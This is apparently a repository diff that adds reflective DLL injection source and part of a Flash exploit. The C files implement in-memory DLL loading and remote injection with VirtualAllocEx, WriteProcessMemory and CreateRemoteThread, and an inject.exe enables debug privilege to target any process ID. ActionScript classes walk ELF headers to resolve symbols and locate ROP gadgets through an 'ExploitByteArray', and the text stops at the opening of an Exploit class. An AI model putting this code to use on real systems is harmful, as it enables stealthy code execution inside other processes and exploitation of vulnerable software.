// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//

View File

@ -0,0 +1,36 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,120 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"
#pragma comment(lib,"Advapi32.lib")
#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }
// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
HANDLE hFile = NULL;
HANDLE hModule = NULL;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwLength = 0;
DWORD dwBytesRead = 0;
DWORD dwProcessId = 0;
TOKEN_PRIVILEGES priv = {0};
#ifdef _WIN64
char * cpDllFile = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
char * cpDllFile = "reflective_dll.dll";
#else WIN_ARM
char * cpDllFile = "reflective_dll.arm.dll";
#endif
#endif
do
{
// Usage: inject.exe [pid] [dll_file]
if( argc == 1 )
dwProcessId = GetCurrentProcessId();
else
dwProcessId = atoi( argv[1] );
if( argc >= 3 )
cpDllFile = argv[2];
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
WaitForSingleObject( hModule, -1 );
} while( 0 );
if( lpBuffer )
HeapFree( GetProcessHeap(), 0, lpBuffer );
if( hProcess )
CloseHandle( hProcess );
return 0;
}

View File

@ -0,0 +1,233 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwMeterpreterArch = 1;
#endif
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
if( dwMeterpreterArch != 1 )
return 0;
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
if( dwMeterpreterArch != 2 )
return 0;
}
else
{
return 0;
}
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( dwReflectiveLoaderOffset != 0 )
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
// call the loaded librarys DllMain to get its HMODULE
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hThread = NULL;
}
return hThread;
}
//===============================================================================================//

View File

@ -0,0 +1,41 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,44 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Express 2013 for Windows Desktop
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|ARM = Debug|ARM
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|ARM = Release|ARM
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,114 @@
package
{
import flash.display.Sprite
import flash.events.Event
import flash.events.NetStatusEvent
import flash.events.AsyncErrorEvent
import flash.media.Video
import flash.net.NetConnection
import flash.net.NetStream
import flash.utils.getTimer
import flash.utils.ByteArray
import mx.utils.Base64Decoder
import flash.display.LoaderInfo
public class Exploit extends Sprite
{
private var b64:Base64Decoder = new Base64Decoder()
